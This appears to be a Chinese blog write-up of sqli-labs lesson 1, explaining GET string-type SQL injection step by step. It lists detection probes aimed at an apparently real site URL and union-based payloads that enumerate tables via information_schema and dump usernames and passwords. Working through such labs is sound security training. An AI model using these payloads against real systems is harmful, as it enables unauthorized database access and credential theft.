• sqli-labs第一节 get-字符型注入


     
    1.SQL注入漏洞的几种判断方法
    ①http://www.heetian.com/showtail.asp?id=40'
    ②http://www.heetian.com/showtail.asp?id=40 and 1=1
    ③http://www.heetian.com/showtail.asp?id=40 and 1=2
    如果执行①后,页面上提示报错或者提示数据库错误的话,说明是存在注入漏洞的。      如果执行②后,页面正常显示,而执行③后,页面报错,那么说明这个页面是存在注入漏洞的。
    2.收集信息、判断数据库类型
       从其返回的信息中可以判断下数据库的类型,更多可能可以知道部分数据库中的字段以及其他有用信息,为下一步攻击提供铺垫。
    一、基于错误的_get_单引号_字符型注入
    ?id=1
     输一个id值,返回了name和password,接着测试是否能注入,url后加上?id=',发现报错了,直接报的数据库的错,对web浏览器用户透明,那么可以从报错中得到很多信息,比如这是个MySQL的数据库,还可以猜想到后台的sql语句,应该是SELECT * FROM table_name WHERE id='$_get['id']' LIMIT 0,1这种,说明他没有过滤单引号,并且id是char型的输入,之所以报错是因为用了单引号,导致后面的部分'LIMT 0,1;多余出来了
    构造sql语句-1OR1'='1'--+屏蔽掉后面的,也可以用#屏蔽,但这里#没有被url编码,故需自己将他转成url编码%23
    接着来猜字段
    ?id=1%27%20order%20by%204--+
     
    然后知道字段为3
    然后利用union(联合查询)的特点,使原查询左边为空,那么我们定义的查询结果便可以返回出来
    ?id=-1%27%20union%20select%201,2,3%23
     
    然后使用数据库函数爆出数据库信息
    ?id=' union select 1,2,concat_ws(char(32,58,32),user(),database(),version())%23
     
     
    user:root@
    数据库名:security
    用到的数据库函数有cancat_ws(),char(),user(),database(),cancat_ws()是连接函数,第一个参数是分隔符,同样作用的函数还有cancat(),不同的是cancat()没有连接符,char()函数是将十进制参数转换成对应的acsii码,user()和database()都是内置的函数,分别返回用户名和数据库名,类似的函数还有version(),返回数据库的版本信息,但是没有直接返回表名的函数,所以需要通过其他方式获取表名
    获取表名
     这里有一个很经典的方法,我们可以通过系统数据库information_schema来获取表名,information_schema数据库中含有很重要的三张表:SCHEMATA,TABLES和COLUMNS
    SCHEMATA表中存储了MySQL中所有数据库的信息,包括数据库名,编码类型路径等,show databases的结果取之此表
    TABLES表中存储了MySQL中所有数据库的表的信息(当然,索引是根据数据库名的),包括这个表是基本表还是系统表,数据库的引擎是什么,表有多少行,创建时间,最后更新时间等,show tables from schemaname的结果取之此表
    COLUMNS表中存储了MySQL中所有表的字段信息,show columns from schemaname.tablename的结果取之此表
    查询information_schema中的信息时,使用where语句值不能直接用英文,要用单引号包裹着,当然用十六进制表示也可以。
    ?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479%23
     
     
    这样就爆出了第一张表名,但要获取所有表名还需要用到'limit',limit是用来指定范围,他有两个参数(limit a,b)a是从第几行开始取,b是取多少行,但需要注意的是实际取出来的开始行下标比a大1,即limit 5,10是表示取6到15行数据,接下来我们就可以用它取指定范围的表了
     
    ?id=0' union select 1,2,table_name from information_schema.tables where table_schema=0x7365637572697479 limit 3,1%23
     
     
     
     这里取的是第5张表,如果超出能取的范围,他会报错
     
     
    同样的方法爆出字段名(列举users的列名)
    ?id=0' union select 1,2,column_name from information_schema.columns where table_schema=0x7365637572697479 and table_name=0x7573657273 limit 0,1%23
     
     
    然后枚举用户名和密码
    ?id=0' union select 1,2,concat_ws(char(32,58,32),id,username,password) from users limit 2,1%23
     
     
     
     
     
     
    注:
    猜出字段后,利用sql自动添加猜出的字段数
     
    然后让其报错(在5前面加个负号,或者and 1=2)
    然后利用该报错信息,报其他信息,在其显示的报错字段改成下面的
     
     
     
     
     
     
     
     
  • 相关阅读:
    PJzhang:CVE-2020-1472微软NetLogon权限提升漏洞~复现
    PJzhang:vulnhub靶机sunset系列SUNSET:DECOY
    PJzhang:vulnhub靶机sunset系列SUNSET:TWILIGHT
    PJzhang:vulnhub靶机sunset系列SUNSET:SUNRISE
    PJzhang:vulnhub靶机sunset系列SUNSET:MIDNIGHT
    PJzhang:vulnhub靶机sunset系列SUNSET:SOLSTICE
    PJzhang:whatweb指纹扫描工具样例
    HTTP状态码解读
    【并发】线程与进程的区别
    MYSQL之性能优化 ----MySQL性能优化必备25条
  • 原文地址:https://www.cnblogs.com/zw1sh/p/10181485.html
Copyright © 2020-2023  润新知